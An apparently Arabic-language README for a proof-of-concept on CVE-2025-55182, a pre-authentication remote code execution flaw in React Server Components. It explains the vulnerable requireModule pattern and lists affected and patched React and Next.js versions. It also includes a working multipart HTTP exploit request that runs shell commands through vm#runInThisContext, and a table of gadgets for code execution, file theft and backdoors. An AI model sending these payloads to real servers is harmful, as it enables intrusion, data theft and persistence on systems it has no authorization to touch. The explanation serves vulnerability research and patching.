
أداة بحث أمني موحدة
بحث أمني بواسطة schema.cx
"السيطرة وهم. الأنظمة التي نبنيها هي التي تسيطر علينا—ما لم نفهمها أولاً."
هذه الأداة مخصصة لاختبار الأمان المصرح به فقط
توقف. اقرأ هذا قبل المتابعة.
يحتوي هذا المستودع على كود إثبات المفهوم لثغرة أمنية حرجة. من خلال الوصول أو التحميل أو استخدام أي مواد في هذا المستودع، فإنك تقر وتوافق على ما يلي:
التفويض الكتابي مطلوب: يجب أن يكون لديك إذن صريح ومكتوب من مالك النظام قبل إجراء أي اختبار أمني. الاتفاقات الشفهية غير كافية.
قيود النطاق: يجب أن يقتصر الاختبار على الأنظمة المذكورة صراحةً في تفويضك. "توسع النطاق" غير مسموح به.
القوانين السارية: الوصول غير المصرح به إلى أنظمة الكمبيوتر ينتهك:
مؤلفو ومساهمو هذا المستودع:
"السؤال ليس ما إذا كان بإمكاننا استغلال الثغرة. بل هو ما إذا كان ينبغي لنا ذلك، ولأي غرض."
CVE-2025-55182 هي ثغرة حرجة لتنفيذ الأوامر عن بُعد قبل المصادقة (RCE) تؤثر على مكونات خادم React في تطبيقات React 19.x و Next.js 15.x-16.x.
تسمح هذه الثغرة لأي مهاجم غير مصادق لديه وصول شبكي إلى تطبيق ضعيف بتنفيذ أوامر عشوائية على الخادم. لا يتطلب الهجوم أي بيانات اعتماد، أو تفاعل مستخدم، ويمكن أن يكون آلياً بالكامل. يؤدي الاستغلال الناجح إلى:
| المقياس | التصنيف |
|---|---|
| نقاط CVSS v3.1 الأساسية | 10.0 حرجة |
| متجه الهجوم | الشبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| التأثير (السرية/السلامة/التوفر) | عالي / عالي / عالي |
"يثق الناس في الأنظمة لأنهم لا يفهمونها. تلك الثقة هي ثغرة."
توجد الثغرة في تنفيذ بروتوكول Flight الخاص بـ React داخل دالة requireModule. تستخدم هذه الدالة تدوين الأقواس للوصول إلى صادرات الوحدة بناءً على إدخال يتحكم فيه المستخدم، دون التحقق من أن الخاصية المطلوبة هي خاصية خاصة بالوحدة.
موقع الكود الضعيف:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
الدالة: requireModule (تقريباً السطور 2546-2558 في الإصدار v19.0.0)
النمط الضعيف:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... معالجة غير متزامنة ...
return moduleExports[metadata[2]]; // ← ضعيف: لا يوجد فحص hasOwnProperty
}
يستفيد الهجوم من اجتياز سلسلة النموذج الأولي في JavaScript:
$ACTION_0:0 على JSON مع خصائص id (تنسيق وحدة#تصدير) و bound (الوسائط) التي يتحكم بها المهاجمconstructor أو الوصول إلى خصائص النموذج الأولي، يمكن للمهاجمين الرجوع إلى وحدات Node.js المدمجةvm.runInThisContext، child_process.execSync، أو fs.readFileSync يتم تنفيذها مع وسائط يقدمها المهاجمHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // يتم تحليل تنسيق "module#export"
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // الوصول إلى سلسلة النموذج الأولي → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
| الأداة | الوحدة | الوصف | التأثير |
|---|---|---|---|
vm#runInThisContext | vm | تنفيذ JS في السياق الحالي | RCE مباشر |
vm#runInNewContext | vm | تنفيذ JS في صندوق حماية (قابل للهروب) | RCE مباشر |
child_process#execSync | child_process | تنفيذ أوامر الصدفة | RCE مباشر |
child_process#spawnSync | child_process | تشغيل العمليات | RCE مباشر |
fs#readFileSync | fs | قراءة ملفات عشوائية | استخراج البيانات |
fs#writeFileSync | fs | كتابة ملفات عشوائية | استمرارية/باب خلفي |
module#_load | module | تحميل وحدات JS (RCE على خطوتين) | RCE غير مباشر |
"كل نظام له باب. السؤال هو ما إذا كنت بنيت القفل بنفسك—أم ورثته من شخص لم يتوقع زواراً أبداً."
| المنتج | الإصدارات الضعيفة | الإصدارات المصححة |
|---|---|---|
| React | 19.0.0، 19.1.0، 19.1.1، 19.2.0 | 19.0.1+، 19.1.2+، 19.2.1+ |
| Next.js | 15.x، 16.x (باستخدام React ضعيف) | الإصدارات مع React مصحح |
vm، child_process، أو fs في حزمة webpack